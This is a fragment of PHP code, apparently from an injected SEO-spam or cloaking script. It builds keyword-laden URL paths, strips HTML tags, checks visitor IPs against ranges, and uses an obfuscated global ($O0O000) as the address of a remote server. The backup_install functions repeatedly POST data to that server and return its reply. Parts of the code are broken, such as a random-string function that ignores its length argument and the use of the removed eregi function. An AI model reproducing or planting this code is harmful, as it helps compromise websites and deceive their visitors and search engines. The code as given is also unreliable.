.'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; } $linkCenter .= $linkCenter . "#llq"; $linkCenter = str_replace('-#llq','',$linkCenter); $linkCenter = str_replace('#llq','',$linkCenter); $linkCenter = str_replace('--','-',$linkCenter); $linkCenter = str_replace('/-','/',$linkCenter); return $filePres.$linkCenter; } if($ms == 1){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; } $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter); }elseif($ms == 2){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; if($i == $fg-1){ // $linkCenter .= '/'; $linkCenter .= '-'; } } $linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter); }elseif($ms == 3){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'. $nNumID . BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; } $linkCenter .= JTHZ; $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); }elseif($ms == 4){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'. $nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid .'-'; if($PidWz == $i && $i != 0) $linkCenter .= '-'. BZPRO . $pid .'-'; elseif($PidWz == $i) $linkCenter .= BZPRO . $pid .'-'; $linkCenter .= $keyArr[$i] .''; if($i == $fg-1){ // $linkCenter .= '/'; $linkCenter .= '-'; } } $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); } $linkCenter = str_replace('--','-',$linkCenter); $linkCenter = str_replace('/-','/',$linkCenter); return $filePres.$linkCenter; } function rmhtmltag($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i'; $str = preg_replace($rulers,'',$str); return $str; } function rmhtmltag2($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#</'.$tagname.'>#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>#i'; $str = preg_replace($rulers,'',$str); $rulers = '#</'.$tagname.'>#i'; $str = preg_replace($rulers,'',$str); return $str; } // bbbbbbbbackupbg function backup_install($dateArr,$loop=10){ $data = false; $i = 0; while(!$data) { $data = backup_install_once($dateArr); if($i++ >= $loop) break; } return $data; } function backup_install_once($dateArr=array()){ global $O0O000; $data = false; if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close") && 0){ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $O0O000); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr); $data = curl_exec($curl); curl_close($curl); }else{ $tempDate = http_build_query($dateArr); $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $tempDate ) ); $ctx = stream_context_create($params); $data = file_get_contents($O0O000, null, $ctx); } return $data; } // bbbbbbbbackupend function is_ip($localIp,$ipRanges) { $localIp = ip2long($localIp); foreach($ipRanges as $val) { $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); if($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false;} function RandAbcs($length = ""){ $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:"; return ($str); } function get_real_ip(){ $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){ $ip = $_SERVER["HTTP_CLIENT_IP"]; } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); if ($ip) { array_unshift($ips, $ip); $ip = FALSE; } for ($i = 0; $i < count($ips); $i++) { if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) { $ip = $ips[$i]; break; } } } return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);} //file end